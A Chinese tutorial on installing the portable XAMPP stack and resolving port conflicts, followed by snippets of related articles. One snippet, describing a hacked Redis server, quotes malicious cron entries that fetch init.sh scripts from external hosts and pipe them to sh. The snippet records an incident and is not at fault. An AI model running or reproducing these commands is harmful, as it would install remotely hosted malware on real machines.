绿色便携方式安装apache+mysql+tomcat+php集成环境并提供控制面板

绿色便携方式安装带控制面板的Apache+MariaDB+Tomcat+PHP集成环境


目录

  • 绿色便携方式安装带控制面板的Apache+MariaDB+Tomcat+PHP集成环境
    • @[TOC](目录)
  • 前言
  • 一、XAMPP
  • 二、安装和使用
    • 1.安装
    • 2.使用
  • 三、可能的错误
    • 1、检查端口占用
    • 2、修改端口

前言

安装集成环境往往配置复杂,采用一个集成安装工具,可以方便地完成相关软件的一键安装!而能够采用portable方式实现完全绿色、便携方式的安装就更加方便!它只需要解压到你的电脑目录,即可运行,不需要install,也不会有任何注册表的改变!因此,你甚至可以把它放在一个外部存储,随带随用!——这就是XAMPP.

一、XAMPP

XAMPP 是一个极受欢迎的 PHP 开发环境工具包,完全免费、开源、易于安装。
包含以下集成软件,将一键完成安装:
Apache
MariaDB
Tomcat
PHP+phpMyAdmin
以及OpenSSL, Webalize, Mercury Mail Transport System, FileZilla FTP Server , Strawberry Perl

更方便的是还有一个控制面板工具:XAMPP Control Panel,可以对安装的软件进行Start/Stop、配置、查看错误日志!

虽然在该集成环境中主要以PHP开发环境为主,但可以按照需要选择apache、mariaDB、tomcat等启动所需要的服务。

二、安装和使用

1.安装

官方安装网址:https://www.apachefriends.org/index.html
在这里插入图片描述
进入other versions可以看到不同版本的详细说明:
在这里插入图片描述

点右侧Download,在弹出窗口中点click here
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
下载后解压到根目录xampp,例如d:\xampp

  • 注意:
  • (1)目录要在根目录的xampp,否则控制面板中启动apache和mysql会提示错误。
  • (2)由于其中包含tomcat,因此,要先安装JDK,并配置好环境变量JAVA_HOME!

2.使用

运行xampp目录下的xampp-control.exe应用程序,启动控制面板:
在这里插入图片描述

三、可能的错误

在启动任意服务出错,可能的原因包括:
 占用端口,例如80,8080
 JDK环境变量未配置
 启动了其他的web服务器
 安装过老版本的xampp
 配置错误等

1、检查端口占用

确定系统端口占用现状:
在系统cmd命令窗口执行:netstat命令
例如显示所有端口情况:

netstat –ao

如图:
在这里插入图片描述
或者:显示查看指定端口8005情况:
netstat –aon|findstr “8005”
在这里插入图片描述
右侧为pid号,根据该pid号,ctrl+alt+del运行任务窗口,在其中找到对应pid的进程,停止它。
再到XAMPP control Panel重启服务,如果成功,就是该进程占用问题。重新配置端口,错开即可解决问题。

2、修改端口

以tomcat为例
点击Tomcat后的Config按钮选择server.xml,找到如下图所示部分将port后的端口号修改为未被占用的新的端口号并保存,这里更改为8081。
在这里插入图片描述
在这里插入图片描述
保存,重启。

**注意:**在修改完端口号为了保证xampp能正常获取各服务的状态,点击Control Panel右上角的Config按钮,点击Service and Port Settings按钮,根据刚才更改的端口号,在对应的服务中修改对应的端口号。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2847.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自动化立体库安全使用管理制度

导语 大家好,我是智能仓储物流技术研习社的社长,老K。专注分享智能仓储物流技术、智能制造等内容。 新书《智能物流系统构成与技术实践》 完整版文件和更多学习资料,请球友到知识星球 【智能仓储物流技术研习社】自行下载 关于自动化立体库安…

四、Flask进阶

Flask-Cache pip install flask-caching安装flask_cache初始化 # ext.py from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate from flask_caching import Cachedb SQLAlchemy() migrate Migrate() cache Cache(config{CACHE_TYPE: simple # 缓存…

MybatisPlus(简单CURD,MP的实体类注解,MP条件查询,MP分页查询,MP批量操作,乐观锁,代码生成器)

目录 一、MP入门 1. MP是什么 2. MP使用入门 1 说明 2 准备MP项目环境 1) 添加依赖 2) 创建配置文件 3) 创建引导类 3 MP使用入门 1 创建实体类 2 创建Mapper 3 使用测试 3. 小结 二、MP简单CURD【重点】 1. 说明 2. 示例 3. 小结 三、MP的实体类注解[重点] …

字符串漏洞注入深入学习

字符串型漏洞注入,特别是针对Web应用程序的SQL注入,是一种常见的网络安全威胁。它涉及攻击者在不受控制的情况下,通过构造特定的字符串输入,干扰或改变应用程序中原有的SQL查询语句,从而执行恶意的SQL代码。 要深入学…

微软Phi-3,3.8亿参数能与Mixtral 8x7B和GPT-3.5相媲美,量化后还可直接在IPhone中运行

Phi-3系列 Phi-3是一系列先进的语言模型,专注于在保持足够紧凑以便在移动设备上部署的同时,实现高性能。Phi-3系列包括不同大小的模型: Phi-3-mini(38亿参数) - 该模型在3.3万亿个令牌上进行训练,设计得足…

【Stable Diffusion系列】(一):AI绘画本地部署教程

目录 一、总览 二、本地部署 1、安装cuda 2、安装python 3、安装git 4、方法一 1)获取安装包 2)update 3)run 5、方法二 1)git clone 2)双击webui-user.bat 3)更新 6、设置启动参数 7、…

指针(5)

前言 本节是有关指针内容的最后一节,本节的内容以讲解指针习题为主,那么就让我们一起来开启本节的学习吧! sizeof和strlen的对比 1.sizeof 我们在学习操作符的时候,学习了sizeof。sizeof存在的意义是用来计算变量所占用的内存空…

AI大模型日报#0424:全球首个AI基因编辑器、出门问问上市、微软开源Phi-3 Mini、昆仑万维年收49亿

导读: 欢迎阅读《AI大模型日报》,内容基于Python爬虫和LLM自动生成。目前采用“文心一言”生成了每条资讯的摘要。标题: 爱诗科技完成A2轮超亿元融资,蚂蚁集团领投摘要: 爱诗科技完成A2轮超亿元融资,成为视频大模型领域融资规模最…

STM32学习和实践笔记(20):定时器

1.定时器介绍 STM32F1的定时器一共有8个,由2个基本定时器(TIM6、TIM7)、4个通用定时器(TIM2-TIM5)和2个高级定时器(TIM1、TIM8)组成。 基本定时器的功能最为简单,类似于51单片机内定…

【行为型模式】中介者模式

一、中介者模式概述 中介者模式定义:用一个中介对象来封装一系列的对象交互,中介者使各对象不需要显式地相互引用,从而使其耦合松散,而且可以独立地改变它们之间的交互。中介者模式又称为调停者模式。(对象行为型模式) 中介者模式…

python+django校园社交高校交友网站2x7r5.

本课题使用Python语言进行开发。代码层面的操作主要在PyCharm中进行,将系统所使用到的表以及数据存储到MySQL数据库中,方便对数据进行操作本课题基于WEB的开发平台,设计的基本思路是: 前端:vue.jselementui 框架&#…

Node.JS安装及配置教程(Windows)【安装】

文章目录 一、 Node.JS 下载1. 官网下载(1)国内地址(2)国外地址 2. 其它渠道 二、 Node.JS 安装三、 Node.JS验证四、 Node.JS 配置(可选)1. 配置全局模块安装路径方法一方法二2. 配置国内镜像 五、 yarn 安…

企业数智化:为什么选择梧桐数据库?

个人介绍:艺名司镜233,是中国移动梧桐数据库研发团队成员,从事相关的技术开发近5年了。最让我觉得自豪的不是在研发这款数据库,而是我们用代码,切实地帮助企业解决数据的困扰,切实地解决社会的问题。 本篇文…

【炼金术士】BatchSize对网络训练的影响

文章目录 1 BatchSize对于网络训练的影响2 调整学习率可以提高大BatchSize的性能3 实际训练时的建议3.1 设置初始学习率的方法3.2 多卡训练时学习率的设置 参考资料: 【深度学习】Batch Size对神经网络训练的影响【AI不惑境】学习率和batchsize如何影响模型的性能&…

AXI4---低功耗接口

在电子系统设计中,"low-power interface"(低功耗接口)是指专为减少能耗而设计的硬件接口。这类接口在不需要牺牲性能的情况下,通过各种技术降低功耗,对于移动设备、嵌入式系统和其他电池供电的应用来说尤其重…

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III

如何更好的管理个人财务?使用极空间部署私有记账系统Firefly III 哈喽小伙伴们好,我是Stark-C~ 不知道屏幕前的各位“富哥”日常生活中是怎么管理自己巨额财富的,反正对于像我这样年薪过千的摸鱼族来说,请一个专业的理财顾问多多…

Laravel 6 - 第十三章 请求

​ 文章目录 Laravel 6 - 第一章 简介 Laravel 6 - 第二章 项目搭建 Laravel 6 - 第三章 文件夹结构 Laravel 6 - 第四章 生命周期 Laravel 6 - 第五章 控制反转和依赖注入 Laravel 6 - 第六章 服务容器 Laravel 6 - 第七章 服务提供者 Laravel 6 - 第八章 门面 Laravel 6 - …

记录第一次云服务器redis被黑

redis里莫名奇妙被写入四个键值对,backup1,backup2,backup3,backup4,内容是奇奇怪怪的sh脚本:*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh http://en2an.top/cleanfda/init.sh */2 * * * * root cd1 -fsSL http…

The_Maya_Society

突然发现自己做了一些逆向题都没有写笔记 今天,发现这道题有意思 1.解压文件 三个文件The Maya Society.html,maim.cc,maya.png 当时我看到这个题的时候,我以为是不是会是js逆向 看来是我蠢了 这三个文件,main.css和maya.png这两…

PyQt5的安装和配置

1.准备工作 首先,下载Pycharm及python-3.7.5-amd64.exe并安装两个软件。 Pycharm链接: python-3.7.5-amd64.exe链接: 2.1.在线安装 pip安装PyQt5: pip install PyQt5 pip安装pyqt5-tools pip install pyqt5-tools 遇到下载…